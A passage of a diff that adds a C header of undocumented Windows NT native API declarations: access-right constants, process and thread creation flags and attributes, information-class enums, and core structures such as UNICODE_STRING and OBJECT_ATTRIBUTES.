SEMAPHORE_MODIFY_STATE 0x0002 +#define SEMAPHORE_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|0x3) + +#define SYMBOLIC_LINK_QUERY (0x0001) +#define SYMBOLIC_LINK_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1) + +#define THREAD_ALERT (0x0004) + +#define THREAD_CREATE_FLAGS_CREATE_SUSPENDED 0x00000001 +#define THREAD_CREATE_FLAGS_SKIP_THREAD_ATTACH 0x00000002 +#define THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER 0x00000004 +#define THREAD_CREATE_FLAGS_HAS_SECURITY_DESCRIPTOR 0x00000010 +#define THREAD_CREATE_FLAGS_ACCESS_CHECK_IN_TARGET 0x00000020 +#define THREAD_CREATE_FLAGS_INITIAL_THREAD 0x00000080 + +#define WORKER_FACTORY_RELEASE_WORKER 0x0001 +#define WORKER_FACTORY_WAIT 0x0002 +#define WORKER_FACTORY_SET_INFORMATION 0x0004 +#define WORKER_FACTORY_QUERY_INFORMATION 0x0008 +#define WORKER_FACTORY_READY_WORKER 0x0010 +#define WORKER_FACTORY_SHUTDOWN 0x0020 + +#define OBJECT_TYPE_CREATE (0x0001) +#define OBJECT_TYPE_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1) + +#define WMIGUID_QUERY 0x0001 +#define WMIGUID_SET 0x0002 +#define WMIGUID_NOTIFICATION 0x0004 +#define WMIGUID_READ_DESCRIPTION 0x0008 +#define WMIGUID_EXECUTE 0x0010 +#define TRACELOG_CREATE_REALTIME 0x0020 +#define TRACELOG_CREATE_ONDISK 0x0040 +#define TRACELOG_GUID_ENABLE 0x0080 +#define TRACELOG_ACCESS_KERNEL_LOGGER 0x0100 +#define TRACELOG_CREATE_INPROC 0x0200 +#define TRACELOG_ACCESS_REALTIME 0x0400 +#define TRACELOG_REGISTER_GUIDS 0x0800 + +// +// Partition Specific Access Rights. +// + +#define MEMORY_PARTITION_QUERY_ACCESS 0x0001 +#define MEMORY_PARTITION_MODIFY_ACCESS 0x0002 + +#define MEMORY_PARTITION_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | \ + SYNCHRONIZE | \ + MEMORY_PARTITION_QUERY_ACCESS | \ + MEMORY_PARTITION_MODIFY_ACCESS) + + +// +// NtCreateProcessEx specific flags. +// +#define PS_REQUEST_BREAKAWAY 1 +#define PS_NO_DEBUG_INHERIT 2 +#define PS_INHERIT_HANDLES 4 +#define PS_LARGE_PAGES 8 +#define PS_ALL_FLAGS (PS_REQUEST_BREAKAWAY | \ + PS_NO_DEBUG_INHERIT | \ + PS_INHERIT_HANDLES | \ + PS_LARGE_PAGES) + +#define NtCurrentThread() ( (HANDLE)(LONG_PTR) -2 ) +#define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 ) +#define ZwCurrentProcess() NtCurrentProcess() +#define ZwCurrentThread() NtCurrentThread() + +// +// Define special ByteOffset parameters for read and write operations +// + +#define FILE_WRITE_TO_END_OF_FILE 0xffffffff +#define FILE_USE_FILE_POINTER_POSITION 0xfffffffe + +// +// This is the maximum MaximumLength for a UNICODE_STRING. +// + +#define MAXUSHORT 0xffff +#define MAX_USTRING ( sizeof(WCHAR) * (MAXUSHORT/sizeof(WCHAR)) ) + +typedef struct _EX_RUNDOWN_REF +{ + union + { + ULONG Count; + PVOID Ptr; + }; +} EX_RUNDOWN_REF, *PEX_RUNDOWN_REF; + +typedef struct _UNICODE_STRING { + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; +} UNICODE_STRING; +typedef UNICODE_STRING *PUNICODE_STRING; +typedef const UNICODE_STRING *PCUNICODE_STRING; + +typedef struct _STRING +{ + USHORT Length; + USHORT MaximumLength; + PCHAR Buffer; +} STRING; +typedef STRING *PSTRING; + +typedef STRING ANSI_STRING; +typedef PSTRING PANSI_STRING; + +typedef STRING OEM_STRING; +typedef PSTRING POEM_STRING; +typedef CONST STRING* PCOEM_STRING; +typedef CONST char *PCSZ; + +typedef struct _CSTRING +{ + USHORT Length; + USHORT MaximumLength; + CONST char *Buffer; +} CSTRING; +typedef CSTRING *PCSTRING; +#define ANSI_NULL ((CHAR)0) + +typedef STRING CANSI_STRING; +typedef PSTRING PCANSI_STRING; + +typedef struct _OBJECT_ATTRIBUTES { + ULONG Length; + HANDLE RootDirectory; + PUNICODE_STRING ObjectName; + ULONG Attributes; + PVOID SecurityDescriptor; + PVOID SecurityQualityOfService; +} OBJECT_ATTRIBUTES; +typedef OBJECT_ATTRIBUTES *POBJECT_ATTRIBUTES; + +typedef struct _IO_STATUS_BLOCK { + union { + NTSTATUS Status; + PVOID Pointer; + } DUMMYUNIONNAME; + + ULONG_PTR Information; +} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK; + +/* +** Semaphore START +*/ + +#ifndef _SEMAPHORE_INFORMATION_CLASS +typedef enum _SEMAPHORE_INFORMATION_CLASS { + SemaphoreBasicInformation +} SEMAPHORE_INFORMATION_CLASS; +#endif + +#ifndef _SEMAPHORE_BASIC_INFORMATION +typedef struct _SEMAPHORE_BASIC_INFORMATION { + LONG CurrentCount; + LONG MaximumCount; +} SEMAPHORE_BASIC_INFORMATION, *PSEMAPHORE_BASIC_INFORMATION; +#endif + +/* +** Semaphore END +*/ + +/* +** Kernel Debugger START +*/ + +typedef struct _SYSTEM_KERNEL_DEBUGGER_INFORMATION { + BOOLEAN KernelDebuggerEnabled; + BOOLEAN KernelDebuggerNotPresent; +} SYSTEM_KERNEL_DEBUGGER_INFORMATION, *PSYSTEM_KERNEL_DEBUGGER_INFORMATION; + +/* +** Kernel Debugger END +*/ + +/* +** FileCache and MemoryList START +*/ + +typedef enum _SYSTEM_MEMORY_LIST_COMMAND { + MemoryCaptureAccessedBits, + MemoryCaptureAndResetAccessedBits, + MemoryEmptyWorkingSets, + MemoryFlushModifiedList, + MemoryPurgeStandbyList, + MemoryPurgeLowPriorityStandbyList, + MemoryCommandMax +} SYSTEM_MEMORY_LIST_COMMAND; + +typedef struct _SYSTEM_FILECACHE_INFORMATION { + SIZE_T CurrentSize; + SIZE_T PeakSize; + ULONG PageFaultCount; + SIZE_T MinimumWorkingSet; + SIZE_T MaximumWorkingSet; + SIZE_T CurrentSizeIncludingTransitionInPages; + SIZE_T PeakSizeIncludingTransitionInPages; + ULONG TransitionRePurposeCount; + ULONG Flags; +} SYSTEM_FILECACHE_INFORMATION, *PSYSTEM_FILECACHE_INFORMATION; + +/* +** FileCache and MemoryList END +*/ + +/* +** Processes START +*/ + +typedef struct _SYSTEM_TIMEOFDAY_INFORMATION { + LARGE_INTEGER BootTime; + LARGE_INTEGER CurrentTime; + LARGE_INTEGER TimeZoneBias; + ULONG TimeZoneId; + ULONG Reserved; + ULONGLONG BootTimeBias; + ULONGLONG SleepTimeBias; +} SYSTEM_TIMEOFDAY_INFORMATION, *PSYSTEM_TIMEOFDAY_INFORMATION; + +#ifndef KPRIORITY +typedef LONG KPRIORITY; +#endif + +typedef enum _THREAD_STATE { + StateInitialized, + StateReady, + StateRunning, + StateStandby, + StateTerminated, + StateWait, + StateTransition, + StateUnknown +} THREAD_STATE; + +typedef enum _KWAIT_REASON { + Executive, + FreePage, + PageIn, + PoolAllocation, + DelayExecution, + Suspended, + UserRequest, + WrExecutive, + WrFreePage, + WrPageIn, + WrPoolAllocation, + WrDelayExecution, + WrSuspended, + WrUserRequest, + WrEventPair, + WrQueue, + WrLpcReceive, + WrLpcReply, + WrVirtualMemory, + WrPageOut, + WrRendezvous, + WrKeyedEvent, + WrTerminated, + WrProcessInSwap, + WrCpuRateControl, + WrCalloutStack, + WrKernel, + WrResource, + WrPushLock, + WrMutex, + WrQuantumEnd, + WrDispatchInt, + WrPreempted, + WrYieldExecution, + WrFastMutex, + WrGuardedMutex, + WrRundown, + MaximumWaitReason +} KWAIT_REASON; + +typedef VOID KSTART_ROUTINE( + _In_ PVOID StartContext + ); +typedef KSTART_ROUTINE *PKSTART_ROUTINE; + +typedef struct _CLIENT_ID { + HANDLE UniqueProcess; + HANDLE UniqueThread; +} CLIENT_ID, *PCLIENT_ID; + +typedef struct _CLIENT_ID64 { + ULONG64 UniqueProcess; + ULONG64 UniqueThread; +} CLIENT_ID64, *PCLIENT_ID64; + +typedef struct _CLIENT_ID32 { + ULONG32 UniqueProcess; + ULONG32 UniqueThread; +} CLIENT_ID32, *PCLIENT_ID32; + +typedef struct _VM_COUNTERS { + SIZE_T PeakVirtualSize; + SIZE_T VirtualSize; + ULONG PageFaultCount; + SIZE_T PeakWorkingSetSize; + SIZE_T WorkingSetSize; + SIZE_T QuotaPeakPagedPoolUsage; + SIZE_T QuotaPagedPoolUsage; + SIZE_T QuotaPeakNonPagedPoolUsage; + SIZE_T QuotaNonPagedPoolUsage; + SIZE_T PagefileUsage; + SIZE_T PeakPagefileUsage; + SIZE_T PrivatePageCount; +} VM_COUNTERS; + +typedef struct _SYSTEM_THREAD_INFORMATION { + LARGE_INTEGER KernelTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER CreateTime; + ULONG WaitTime; + PVOID StartAddress; + CLIENT_ID ClientId; + KPRIORITY Priority; + KPRIORITY BasePriority; + ULONG ContextSwitchCount; + THREAD_STATE State; + KWAIT_REASON WaitReason; +} SYSTEM_THREAD_INFORMATION, *PSYSTEM_THREAD_INFORMATION; + +typedef struct _SYSTEM_PROCESSES_INFORMATION { + ULONG NextEntryDelta; + ULONG ThreadCount; + LARGE_INTEGER SpareLi1; + LARGE_INTEGER SpareLi2; + LARGE_INTEGER SpareLi3; + LARGE_INTEGER CreateTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER KernelTime; + UNICODE_STRING ImageName; + KPRIORITY BasePriority; + HANDLE UniqueProcessId; + HANDLE InheritedFromUniqueProcessId; + ULONG HandleCount; + ULONG SessionId; + ULONG_PTR PageDirectoryBase; + VM_COUNTERS VmCounters; + IO_COUNTERS IoCounters; + SYSTEM_THREAD_INFORMATION Threads[1]; +} SYSTEM_PROCESSES_INFORMATION, *PSYSTEM_PROCESSES_INFORMATION; + +#if defined(_WIN64) +typedef ULONG SYSINF_PAGE_COUNT; +#else +typedef SIZE_T SYSINF_PAGE_COUNT; +#endif + +typedef struct _SYSTEM_BASIC_INFORMATION { + ULONG Reserved; + ULONG TimerResolution; + ULONG PageSize; + SYSINF_PAGE_COUNT NumberOfPhysicalPages; + SYSINF_PAGE_COUNT LowestPhysicalPageNumber; + SYSINF_PAGE_COUNT HighestPhysicalPageNumber; + ULONG AllocationGranularity; + ULONG_PTR MinimumUserModeAddress; + ULONG_PTR MaximumUserModeAddress; + ULONG_PTR ActiveProcessorsAffinityMask; + CCHAR NumberOfProcessors; +} SYSTEM_BASIC_INFORMATION, *PSYSTEM_BASIC_INFORMATION; + +typedef enum _PROCESSINFOCLASS { + ProcessBasicInformation = 0, + ProcessQuotaLimits = 1, + ProcessIoCounters = 2, + ProcessVmCounters = 3, + ProcessTimes = 4, + ProcessBasePriority = 5, + ProcessRaisePriority = 6, + ProcessDebugPort = 7, + ProcessExceptionPort = 8, + ProcessAccessToken = 9, + ProcessLdtInformation = 10, + ProcessLdtSize = 11, + ProcessDefaultHardErrorMode = 12, + ProcessIoPortHandlers = 13, + ProcessPooledUsageAndLimits = 14, + ProcessWorkingSetWatch = 15, + ProcessUserModeIOPL = 16, + ProcessEnableAlignmentFaultFixup = 17, + ProcessPriorityClass = 18, + ProcessWx86Information = 19, + ProcessHandleCount = 20, + ProcessAffinityMask = 21, + ProcessPriorityBoost = 22, + ProcessDeviceMap = 23, + ProcessSessionInformation = 24, + ProcessForegroundInformation = 25, + ProcessWow64Information = 26, + ProcessImageFileName = 27, + ProcessLUIDDeviceMapsEnabled = 28, + ProcessBreakOnTermination = 29, + ProcessDebugObjectHandle = 30, + ProcessDebugFlags = 31, + ProcessHandleTracing = 32, + ProcessIoPriority = 33, + ProcessExecuteFlags = 34, + ProcessTlsInformation = 35, + ProcessCookie = 36, + ProcessImageInformation = 37, + ProcessCycleTime = 38, + ProcessPagePriority = 39, + ProcessInstrumentationCallback = 40, + ProcessThreadStackAllocation = 41, + ProcessWorkingSetWatchEx = 42, + ProcessImageFileNameWin32 = 43, + ProcessImageFileMapping = 44, + ProcessAffinityUpdateMode = 45, + ProcessMemoryAllocationMode = 46, + ProcessGroupInformation = 47, + ProcessTokenVirtualizationEnabled = 48, + ProcessOwnerInformation = 49, + ProcessWindowInformation = 50, + ProcessHandleInformation = 51, + ProcessMitigationPolicy = 52, + ProcessDynamicFunctionTableInformation = 53, + ProcessHandleCheckingMode = 54, + ProcessKeepAliveCount = 55, + ProcessRevokeFileHandles = 56, + ProcessWorkingSetControl = 57, + ProcessHandleTable = 58, + ProcessCheckStackExtentsMode = 59, + ProcessCommandLineInformation = 60, + ProcessProtectionInformation = 61, + MaxProcessInfoClass = 62 +} PROCESSINFOCLASS; + +typedef enum _THREADINFOCLASS { + ThreadBasicInformation, + ThreadTimes, + ThreadPriority, + ThreadBasePriority, + ThreadAffinityMask, + ThreadImpersonationToken, + ThreadDescriptorTableEntry, + ThreadEnableAlignmentFaultFixup, + ThreadEventPair, + ThreadQuerySetWin32StartAddress, + ThreadZeroTlsCell, + ThreadPerformanceCount, + ThreadAmILastThread, + ThreadIdealProcessor, + ThreadPriorityBoost, + ThreadSetTlsArrayAddress, + ThreadIsIoPending, + ThreadHideFromDebugger, + ThreadBreakOnTermination, + ThreadSwitchLegacyState, + ThreadIsTerminated, + ThreadLastSystemCall, + ThreadIoPriority, + ThreadCycleTime, + ThreadPagePriority, + ThreadActualBasePriority, + ThreadTebInformation, + ThreadCSwitchMon, + ThreadCSwitchPmu, + ThreadWow64Context, + ThreadGroupInformation, + ThreadUmsInformation, + ThreadCounterProfiling, + ThreadIdealProcessorEx, + ThreadCpuAccountingInformation, + ThreadSuspendCount, + ThreadHeterogeneousCpuPolicy, + ThreadContainerId, + ThreadNameInformation, + ThreadProperty, + ThreadSelectedCpuSets, + ThreadSystemThreadInformation, + MaxThreadInfoClass +} THREADINFOCLASS; + +typedef struct _PROCESS_BASIC_INFORMATION { + NTSTATUS ExitStatus; + PVOID PebBaseAddress; + ULONG_PTR AffinityMask; + KPRIORITY BasePriority; + ULONG_PTR UniqueProcessId; + ULONG_PTR InheritedFromUniqueProcessId; +} PROCESS_BASIC_INFORMATION; +typedef PROCESS_BASIC_INFORMATION *PPROCESS_BASIC_INFORMATION; + +typedef struct _PROCESS_EXTENDED_BASIC_INFORMATION { + SIZE_T Size; + PROCESS_BASIC_INFORMATION BasicInfo; + union + { + ULONG Flags; + struct + { + ULONG IsProtectedProcess : 1; + ULONG IsWow64Process : 1; + ULONG IsProcessDeleting : 1; + ULONG IsCrossSessionCreate : 1; + ULONG IsFrozen : 1; + ULONG IsBackground : 1; + ULONG IsStronglyNamed : 1; + ULONG SpareBits : 25; + } DUMMYSTRUCTNAME; + } DUMMYUNIONNAME; +} PROCESS_EXTENDED_BASIC_INFORMATION, *PPROCESS_EXTENDED_BASIC_INFORMATION; + +typedef struct _PROCESS_ACCESS_TOKEN { + HANDLE Token; + HANDLE Thread; +} PROCESS_ACCESS_TOKEN, *PPROCESS_ACCESS_TOKEN; + +//thanks to wj32 headers + +typedef enum _PS_CREATE_STATE { + PsCreateInitialState, + PsCreateFailOnFileOpen, + PsCreateFailOnSectionCreate, + PsCreateFailExeFormat, + PsCreateFailMachineMismatch, + PsCreateFailExeName, + PsCreateSuccess, + PsCreateMaximumStates +} PS_CREATE_STATE; + +typedef struct _PS_CREATE_INFO { + SIZE_T Size; + PS_CREATE_STATE State; + union + { + struct + { + union + { + ULONG InitFlags; + struct + { + UCHAR WriteOutputOnExit : 1; + UCHAR DetectManifest : 1; + UCHAR IFEOSkipDebugger : 1; + UCHAR IFEODoNotPropagateKeyState : 1; + UCHAR SpareBits1 : 4; + UCHAR SpareBits2 : 8; + USHORT ProhibitedImageCharacteristics : 16; + }; + }; + ACCESS_MASK AdditionalFileAccess; + } InitState; + + struct + { + HANDLE FileHandle; + } FailSection; + + struct + { + USHORT DllCharacteristics; + } ExeFormat; + + struct + { + HANDLE IFEOKey; + } ExeName; + + struct + { + union + { + ULONG OutputFlags; + struct + { + UCHAR ProtectedProcess : 1; + UCHAR AddressSpaceOverride : 1; + UCHAR DevOverrideEnabled : 1; + UCHAR ManifestDetected : 1; + UCHAR ProtectedProcessLight : 1; + UCHAR SpareBits1 : 3; + UCHAR SpareBits2 : 8; + USHORT SpareBits3 : 16; + }; + }; + HANDLE FileHandle; + HANDLE SectionHandle; + ULONGLONG UserProcessParametersNative; + ULONG UserProcessParametersWow64; + ULONG CurrentParameterFlags; + ULONGLONG PebAddressNative; + ULONG PebAddressWow64; + ULONGLONG ManifestAddress; + ULONG ManifestSize; + } SuccessState; + }; +} PS_CREATE_INFO, *PPS_CREATE_INFO; + +typedef struct _PS_ATTRIBUTE +{ + ULONG Attribute; + SIZE_T Size; + union + { + ULONG Value; + PVOID ValuePtr; + }; + PSIZE_T ReturnLength; +} PS_ATTRIBUTE, *PPS_ATTRIBUTE; + +typedef struct _PS_ATTRIBUTE_LIST +{ + SIZE_T TotalLength; + PS_ATTRIBUTE Attributes[1]; +} PS_ATTRIBUTE_LIST, *PPS_ATTRIBUTE_LIST; + +typedef enum _PS_PROTECTED_TYPE +{ + PsProtectedTypeNone, + PsProtectedTypeProtectedLight, + PsProtectedTypeProtected, + PsProtectedTypeMax +} PS_PROTECTED_TYPE; + +typedef enum _PS_PROTECTED_SIGNER +{ + PsProtectedSignerNone, + PsProtectedSignerAuthenticode, + PsProtectedSignerCodeGen, + PsProtectedSignerAntimalware, + PsProtectedSignerLsa, + PsProtectedSignerWindows, + PsProtectedSignerWinTcb, + PsProtectedSignerMax +} PS_PROTECTED_SIGNER; + +typedef struct _PS_PROTECTION +{ + union + { + UCHAR Level; + struct + { + UCHAR Type : 3; + UCHAR Audit : 1; + UCHAR Signer : 4; + }; + }; +} PS_PROTECTION, *PPS_PROTECTION; + +// begin_rev +#define PS_ATTRIBUTE_NUMBER_MASK 0x0000ffff +#define PS_ATTRIBUTE_THREAD 0x00010000 +#define PS_ATTRIBUTE_INPUT 0x00020000 +#define PS_ATTRIBUTE_ADDITIVE 0x00040000 +// end_rev + +typedef enum _PS_ATTRIBUTE_NUM { + PsAttributeParentProcess, + PsAttributeDebugPort, + PsAttributeToken, + PsAttributeClientId, + PsAttributeTebAddress, + PsAttributeImageName, + PsAttributeImageInfo, + PsAttributeMemoryReserve, + PsAttributePriorityClass, + PsAttributeErrorMode, + PsAttributeStdHandleInfo, + PsAttributeHandleList, + PsAttributeGroupAffinity, + PsAttributePreferredNode, + PsAttributeIdealProcessor, + PsAttributeUmsThread, + PsAttributeMitigationOptions, + PsAttributeProtectionLevel, + PsAttributeSecureProcess, + PsAttributeJobList, + PsAttributeMax +} PS_ATTRIBUTE_NUM; + +#define PsAttributeValue(Number, Thread, Input, Unknown) \ + (((Number) & PS_ATTRIBUTE_NUMBER_MASK) | \ + ((Thread) ? PS_ATTRIBUTE_THREAD : 0) | \ + ((Input) ? PS_ATTRIBUTE_INPUT : 0) | \ + ((Unknown) ? PS_ATTRIBUTE_ADDITIVE : 0)) + +#define PS_ATTRIBUTE_PARENT_PROCESS \ + PsAttributeValue(PsAttributeParentProcess, FALSE, TRUE, TRUE) +#define PS_ATTRIBUTE_DEBUG_PORT \ + PsAttributeValue(PsAttributeDebugPort, FALSE, TRUE, TRUE) +#define PS_ATTRIBUTE_TOKEN \ + PsAttributeValue(PsAttributeToken, FALSE, TRUE, TRUE) +#define PS_ATTRIBUTE_CLIENT_ID \ + PsAttributeValue(PsAttributeClientId, TRUE, FALSE, FALSE) +#define PS_ATTRIBUTE_TEB_ADDRESS \ + PsAttributeValue(PsAttributeTebAddress, TRUE, FALSE, FALSE) +#define PS_ATTRIBUTE_IMAGE_NAME \ + PsAttributeValue(PsAttributeImageName, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_IMAGE_INFO \ + PsAttributeValue(PsAttributeImageInfo, FALSE, FALSE, FALSE) +#define PS_ATTRIBUTE_MEMORY_RESERVE \ + PsAttributeValue(PsAttributeMemoryReserve, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_PRIORITY_CLASS \ + PsAttributeValue(PsAttributePriorityClass, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_ERROR_MODE \ + PsAttributeValue(PsAttributeErrorMode, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_STD_HANDLE_INFO \ + PsAttributeValue(PsAttributeStdHandleInfo, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_HANDLE_LIST \ + PsAttributeValue(PsAttributeHandleList, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_GROUP_AFFINITY \ + PsAttributeValue(PsAttributeGroupAffinity, TRUE, TRUE, FALSE) +#define PS_ATTRIBUTE_PREFERRED_NODE \ + PsAttributeValue(PsAttributePreferredNode, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_IDEAL_PROCESSOR \ + PsAttributeValue(PsAttributeIdealProcessor, TRUE, TRUE, FALSE) +#define PS_ATTRIBUTE_MITIGATION_OPTIONS \ + PsAttributeValue(PsAttributeMitigationOptions, FALSE, TRUE, TRUE) + + +#define RTL_USER_PROC_PARAMS_NORMALIZED 0x00000001 +#define RTL_USER_PROC_PROFILE_USER 0x00000002 +#define RTL_USER_PROC_PROFILE_KERNEL 0x00000004 +#define RTL_USER_PROC_PROFILE_SERVER 0x00000008 +#define RTL_USER_PROC_RESERVE_1MB 0x00000020 +#define RTL_USER_PROC_RESERVE_16MB 0x00000040 +#define RTL_USER_PROC_CASE_SENSITIVE 0x00000080 +#define RTL_USER_PROC_DISABLE_HEAP_DECOMMIT 0x00000100 +#define RTL_USER_PROC_DLL_REDIRECTION_LOCAL 0x00001000 +#define RTL_USER_PROC_APP_MANIFEST_PRESENT 0x00002000 +#define RTL_USER_PROC_IMAGE_KEY_MISSING 0x00004000 +#define RTL_USER_PROC_OPTIN_PROCESS 0x00020000 + +/* +** Processes END +*/ + +#ifndef _SYSTEM_INFORMATION_CLASS +typedef enum _SYSTEM_INFORMATION_CLASS +{ + SystemBasicInformation = 0, + SystemProcessorInformation = 1, + SystemPerformanceInformation = 2, + SystemTimeOfDayInformation = 3, + SystemPathInformation = 4, + SystemProcessInformation = 5, + SystemCallCountInformation = 6, + SystemDeviceInformation = 7, + SystemProcessorPerformanceInformation = 8, + SystemFlagsInformation = 9, + SystemCallTimeInformation = 10, + SystemModuleInformation = 11, + SystemLocksInformation = 12, + SystemStackTraceInformation = 13, + SystemPagedPoolInformation = 14, + SystemNonPagedPoolInformation = 15, + SystemHandleInformation = 16, + SystemObjectInformation = 17, + SystemPageFileInformation = 18, + SystemVdmInstemulInformation = 19, + SystemVdmBopInformation = 20, + SystemFileCacheInformation = 21, + SystemPoolTagInformation = 22, + SystemInterruptInformation = 23, + SystemDpcBehaviorInformation = 24, + SystemFullMemoryInformation = 25, + SystemLoadGdiDriverInformation = 26, + SystemUnloadGdiDriverInformation = 27, + SystemTimeAdjustmentInformation = 28, + SystemSummaryMemoryInformation = 29, + SystemMirrorMemoryInformation = 30, + SystemPerformanceTraceInformation = 31, + SystemObsolete0 = 32, + SystemExceptionInformation = 33, + SystemCrashDumpStateInformation = 34, + SystemKernelDebuggerInformation = 35, + SystemContextSwitchInformation = 36, + SystemRegistryQuotaInformation = 37, + SystemExtendServiceTableInformation = 38, + SystemPrioritySeperation = 39, + SystemVerifierAddDriverInformation = 40, + SystemVerifierRemoveDriverInformation = 41, + SystemProcessorIdleInformation = 42, + SystemLegacyDriverInformation = 43, + SystemCurrentTimeZoneInformation = 44, + SystemLookasideInformation = 45, + SystemTimeSlipNotification = 46, + SystemSessionCreate = 47, + SystemSessionDetach = 48, + SystemSessionInformation = 49, + SystemRangeStartInformation = 50, + SystemVerifierInformation = 51, + SystemVerifierThunkExtend = 52, + SystemSessionProcessInformation = 53, + SystemLoadGdiDriverInSystemSpace = 54, + SystemNumaProcessorMap = 55, + SystemPrefetcherInformation = 56, + SystemExtendedProcessInformation = 57, + SystemRecommendedSharedDataAlignment = 58, + SystemComPlusPackage = 59, + SystemNumaAvailableMemory = 60, + SystemProcessorPowerInformation = 61, + SystemEmulationBasicInformation = 62, + SystemEmulationProcessorInformation = 63, + SystemExtendedHandleInformation = 64, + SystemLostDelayedWriteInformation = 65, + SystemBigPoolInformation = 66, + SystemSessionPoolTagInformation = 67, + SystemSessionMappedViewInformation = 68, + SystemHotpatchInformation = 69, + SystemObjectSecurityMode = 70, + SystemWatchdogTimerHandler = 71, + SystemWatchdogTimerInformation = 72, + SystemLogicalProcessorInformation = 73, + SystemWow64SharedInformationObsolete = 74, + SystemRegisterFirmwareTableInformationHandler = 75, + SystemFirmwareTableInformation = 76, + SystemModuleInformationEx = 77, + SystemVerifierTriageInformation = 78, + SystemSuperfetchInformation = 79, + SystemMemoryListInformation = 80, + SystemFileCacheInformationEx = 81, + SystemThreadPriorityClientIdInformation = 82, + SystemProcessorIdleCycleTimeInformation = 83, + SystemVerifierCancellationInformation = 84, + SystemProcessorPowerInformationEx = 85, + SystemRefTraceInformation = 86, + SystemSpecialPoolInformation = 87, + SystemProcessIdInformation = 88, + SystemErrorPortInformation = 89, + SystemBootEnvironmentInformation = 90, + SystemHypervisorInformation = 91, + SystemVerifierInformationEx = 92, + SystemTimeZoneInformation = 93, + SystemImageFileExecutionOptionsInformation = 94, + SystemCoverageInformation = 95, + SystemPrefetchPatchInformation = 96, + SystemVerifierFaultsInformation = 97, + SystemSystemPartitionInformation = 98, + SystemSystemDiskInformation = 99, + SystemProcessorPerformanceDistribution = 100, + SystemNumaProximityNodeInformation = 101, + SystemDynamicTimeZoneInformation = 102, + SystemCodeIntegrityInformation = 103, + SystemProcessorMicrocodeUpdateInformation = 104, + SystemProcessorBrandString = 105, + SystemVirtualAddressInformation = 106, + SystemLogicalProcessorAndGroupInformation = 107, + SystemProcessorCycleTimeInformation = 108, + SystemStoreInformation = 109, + SystemRegistryAppendString = 110, + SystemAitSamplingValue = 111, + SystemVhdBootInformation = 112, + SystemCpuQuotaInformation = 113, + SystemNativeBasicInformation = 114, + SystemErrorPortTimeouts = 115, + SystemLowPriorityIoInformation = 116, + SystemBootEntropyInformation = 117, + SystemVerifierCountersInformation = 118, + SystemPagedPoolInformationEx = 119, + SystemSystemPtesInformationEx = 120, + SystemNodeDistanceInformation = 121, + SystemAcpiAuditInformation = 122, + SystemBasicPerformanceInformation = 123, + SystemQueryPerformanceCounterInformation = 124, + SystemSessionBigPoolInformation = 125, + SystemBootGraphicsInformation = 126, + SystemScrubPhysicalMemoryInformation = 127, + SystemBadPageInformation = 128, + SystemProcessorProfileControlArea = 129, + SystemCombinePhysicalMemoryInformation = 130, + SystemEntropyInterruptTimingInformation = 131, + SystemConsoleInformation = 132, + SystemPlatformBinaryInformation = 133, + SystemPolicyInformation = 134, + SystemHypervisorProcessorCountInformation = 135, + SystemDeviceDataInformation = 136, + SystemDeviceDataEnumerationInformation = 137, + SystemMemoryTopologyInformation = 138, + SystemMemoryChannelInformation = 139, + SystemBootLogoInformation = 140, + SystemProcessorPerformanceInformationEx = 141, + SystemSpare0 = 142, + SystemSecureBootPolicyInformation = 143, + SystemPageFileInformationEx = 144, + SystemSecureBootInformation = 145, + SystemEntropyInterruptTimingRawInformation = 146, + SystemPortableWorkspaceEfiLauncherInformation = 147, + SystemFullProcessInformation = 148, + SystemKernelDebuggerInformationEx = 149, + SystemBootMetadataInformation = 150, + SystemSoftRebootInformation = 151, + SystemElamCertificateInformation = 152, + SystemOfflineDumpConfigInformation = 153, + SystemProcessorFeaturesInformation = 154, + SystemRegistryReconciliationInformation = 155, + SystemEdidInformation = 156, + MaxSystemInfoClass = 157 +} SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS; +#endif + +/* +** Timer START +*/ + +// +// Timer APC routine definition. +// + +typedef VOID(*PTIMER_APC_ROUTINE) ( + _In_ PVOID TimerContext, + _In_ ULONG TimerLowValue, + _In_ LONG TimerHighValue + ); + +typedef enum _TIMER_TYPE { + NotificationTimer, + SynchronizationTimer +} TIMER_TYPE; + +#ifndef _TIMER_INFORMATION_CLASS +typedef enum _TIMER_INFORMATION_CLASS { + TimerBasicInformation +} TIMER_INFORMATION_CLASS; +#endif + +#ifndef _TIMER_BASIC_INFORMATION +typedef struct _TIMER_BASIC_INFORMATION { + LARGE_INTEGER RemainingTime; + BOOLEAN TimerState; +} TIMER_BASIC_INFORMATION, *PTIMER_BASIC_INFORMATION; +#endif + +/* +** Timer END +*/ + +typedef VOID(NTAPI *PIO_APC_ROUTINE)( + _In_ PVOID ApcContext, + _In_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG Reserved + ); + +typedef struct _OBJECT_DIRECTORY_INFORMATION { + UNICODE_STRING Name; + UNICODE_STRING TypeName; +} OBJECT_DIRECTORY_INFORMATION, *POBJECT_DIRECTORY_INFORMATION; + +#ifndef InitializeObjectAttributes +#define InitializeObjectAttributes( p, n, a, r, s ) { \ + (p)->Length = sizeof( OBJECT_ATTRIBUTES ); \ + (p)->RootDirectory = r; \ + (p)->Attributes = a; \ + (p)->ObjectName = n; \ + (p)->SecurityDescriptor = s; \ + (p)->SecurityQualityOfService = NULL; \ + } + +// +// Valid values for the Attributes field +// + +#define OBJ_INHERIT 0x00000002L +#define OBJ_PERMANENT 0x00000010L +#define OBJ_EXCLUSIVE 0x00000020L +#define OBJ_CASE_INSENSITIVE 0x00000040L +#define OBJ_OPENIF 0x00000080L +#define OBJ_OPENLINK 0x00000100L +#define 